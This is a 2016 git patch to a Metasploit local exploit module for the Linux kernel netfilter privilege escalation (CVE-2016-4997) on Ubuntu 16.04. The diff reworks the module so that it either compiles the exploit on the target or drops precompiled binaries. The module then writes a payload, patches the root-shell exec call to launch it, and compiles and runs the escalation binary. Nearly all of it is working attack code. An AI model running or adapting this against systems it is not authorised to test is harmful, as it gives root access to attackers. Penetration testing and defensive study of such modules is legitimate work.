From 7646771decbca21e9017183a204b722dace2aef3 Mon Sep 17 00:00:00 2001 From: h00die Date: Thu, 22 Sep 2016 20:07:07 -0400 Subject: [PATCH] refactored for live compile or drop binary --- .../linux/local/netfilter_priv_esc.rb | 122 ++++++++++++------ 1 file changed, 80 insertions(+), 42 deletions(-) diff --git a/modules/exploits/linux/local/netfilter_priv_esc.rb b/modules/exploits/linux/local/netfilter_priv_esc.rb index 9b031167a4..20c8ec1ec3 100644 --- a/modules/exploits/linux/local/netfilter_priv_esc.rb +++ b/modules/exploits/linux/local/netfilter_priv_esc.rb @@ -16,9 +16,11 @@ class MetasploitModule < Msf::Exploit::Local super(update_info(info, 'Name' => 'Linux Kernel 4.6.3 Netfilter Privilege Escalation', 'Description' => %q{ - This module attempts to exploit a netfilter bug on Linux Kenrels befoe 4.6.3, and currently + This module attempts to exploit a netfilter bug on Linux Kernels befoe 4.6.3, and currently only works against Ubuntu 16.04 (not 16.04.1) with kernel - 4.4.0-21-generic. Several conditions have to be met for successful exploitation: + 4.4.0-21-generic. + Several conditions have to be met for successful exploitation: + Ubuntu: 1. ip_tables.ko (ubuntu), iptable_raw (fedora) has to be loaded (root running iptables -L will do such) 2. libc6-dev-i386 (ubuntu), glibc-devel.i686 & libgcc.i686 (fedora) needs to be installed to compile Kernel 4.4.0-31-generic and newer are not vulnerable. @@ -53,7 +55,8 @@ class MetasploitModule < Msf::Exploit::Local [ OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]), OptInt.new('MAXWAIT', [ true, 'Max seconds to wait for decrementation in seconds', 180 ]), - OptBool.new('REEXPLOIT', [true, 'desc already ran, no need to re-run, skip to running pwn',false]) + OptBool.new('REEXPLOIT', [ true, 'desc already ran, no need to re-run, skip to running pwn',false]), + OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]) ], self.class) end @@ -84,36 +87,6 @@ class MetasploitModule < Msf::Exploit::Local end end - def libs_installed?() - # user@ubuntu:~$ dpkg --get-selections | grep libc6-dev-i386 - # libc6-dev-i386 install - vprint_status('Checking if 32bit C libraries are installed') - if target.name == "Ubuntu" - lib = cmd_exec('dpkg --get-selections | grep libc6-dev-i386') - if lib.include?('install') - vprint_good('libc6-dev-i386 is installed') - else - print_error('libc6-dev-i386 is not installed. Compiling will fail.') - end - return lib.include?('install') - elsif target.name == "Fedora" - lib = cmd_exec('dnf list installed | grep -E \'(glibc-devel.i686|libgcc.i686)\'') - if lib.include?('glibc') - vprint_good('glibc-devel.i686 is installed') - else - print_error('glibc-devel.i686 is not installed. Compiling will fail.') - end - if lib.include?('libgcc') - vprint_good('libgcc.i686 is installed') - else - print_error('libgcc.i686 is not installed. Compiling will fail.') - end - return (lib.include?('glibc') and lib.include?('libgcc')) - else - return false - end - end - def shemsham_installed?() # we want this to be false. vprint_status('Checking if shem or sham are installed') @@ -128,7 +101,7 @@ class MetasploitModule < Msf::Exploit::Local return (shemsham.include?('shem') or shemsham.include?('sham')) end - if libs_installed?() and iptables_loaded?() and not shemsham_installed?() + if iptables_loaded?() and not shemsham_installed?() return CheckCode::Appears else return CheckCode::Safe @@ -136,6 +109,61 @@ class MetasploitModule < Msf::Exploit::Local end def exploit + # first thing we need to do is determine our method of exploitation: compiling realtime, or droping a pre-compiled version. + def has_prereqs?() + vprint_status('Checking if 32bit C libraries, gcc-multilib, and gcc are installed') + if target.name == "Ubuntu" + lib = cmd_exec('dpkg --get-selections | grep libc6-dev-i386') + if lib.include?('install') + vprint_good('libc6-dev-i386 is installed') + else + print_error('libc6-dev-i386 is not installed. Compiling will fail.') + end + multilib = cmd_exec('dpkg --get-selections | grep ^gcc-multilib') + if multilib.include?('install') + vprint_good('gcc-multilib is installed') + else + print_error('gcc-multilib is not installed. Compiling will fail.') + end + gcc = cmd_exec('which gcc') + if gcc.include?('gcc') + vprint_good('gcc is installed') + else + print_error('gcc is not installed. Compiling will fail.') + end + return gcc.include?('gcc') && lib.include?('install') && multilib.include?('install') + elsif target.name == "Fedora" + lib = cmd_exec('dnf list installed | grep -E \'(glibc-devel.i686|libgcc.i686)\'') + if lib.include?('glibc') + vprint_good('glibc-devel.i686 is installed') + else + print_error('glibc-devel.i686 is not installed. Compiling will fail.') + end + if lib.include?('libgcc') + vprint_good('libgcc.i686 is installed') + else + print_error('libgcc.i686 is not installed. Compiling will fail.') + end + multilib = false #not implemented + gcc = false #not implemented + return (lib.include?('glibc') && lib.include?('libgcc')) && gcc && multilib + else + return false + end + end + + compile = false + if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True' + if has_prereqs?() + compile = true + vprint_status('Live compiling exploit on system') + else + vprint_status('Dropping pre-compiled exploit on system') + end + end + if check != CheckCode::Appears + fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!') + end desc_file = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8) env_ready_file = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8) @@ -144,6 +172,7 @@ class MetasploitModule < Msf::Exploit::Local payload_path = "#{datastore["WritableDir"]}/#{payload_file}" # direct copy of code from exploit-db, except removed the check for shem/sham and ip_tables.ko since we can do that in the check area here + # removed #include per busterb comment in PR 7326 decr = %q{ #define _GNU_SOURCE #include @@ -151,12 +180,12 @@ class MetasploitModule < Msf::Exploit::Local #include #include #include + #include #include #include #include #include #include - #include #include #include #include @@ -315,16 +344,12 @@ class MetasploitModule < Msf::Exploit::Local pwn.gsub!(/execl\("\/bin\/bash", "-sh", NULL\);/, "execl(\"#{payload_path}\", NULL);") - if check != CheckCode::Appears - fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!') - end - def pwn(payload_path, pwn_file, pwn) # lets write our payload since everythings set for priv esc vprint_status("Writing payload to #{payload_path}") write_file(payload_path, generate_payload_exe) cmd_exec("chmod 555 #{payload_path}") - #register_file_for_cleanup(payload_path) + register_file_for_cleanup(payload_path) # now lets drop part 2, and finish up. print_status "Writing pwn executable to #{pwn_file}.c" @@ -332,11 +357,24 @@ class MetasploitModule < Msf::Exploit::Local rm_f "#{pwn_file}.c" write_file("#{pwn_file}.c", pwn) cmd_exec("gcc #{pwn_file}.c -O2 -o #{pwn_file}") - #register_file_for_cleanup("#{pwn_file}.c") - #register_file_for_cleanup(pwn_file) + register_file_for_cleanup("#{pwn_file}.c") + register_file_for_cleanup(pwn_file) cmd_exec("chmod +x #{pwn_file}; #{pwn_file}") end + if not compile # we need to override with our pre-created binary + # pwn file + path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4997', '2016-4997-2') + fd = ::File.open( path, "rb") + pwn = fd.read(fd.stat.size) + fd.close + # desc file + path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4997', '2016-4997-1') + fd = ::File.open( path, "rb") + decr = fd.read(fd.stat.size) + fd.close + end + # check for shortcut if datastore['REEXPLOIT'] pwn(payload_path, pwn_file, pwn)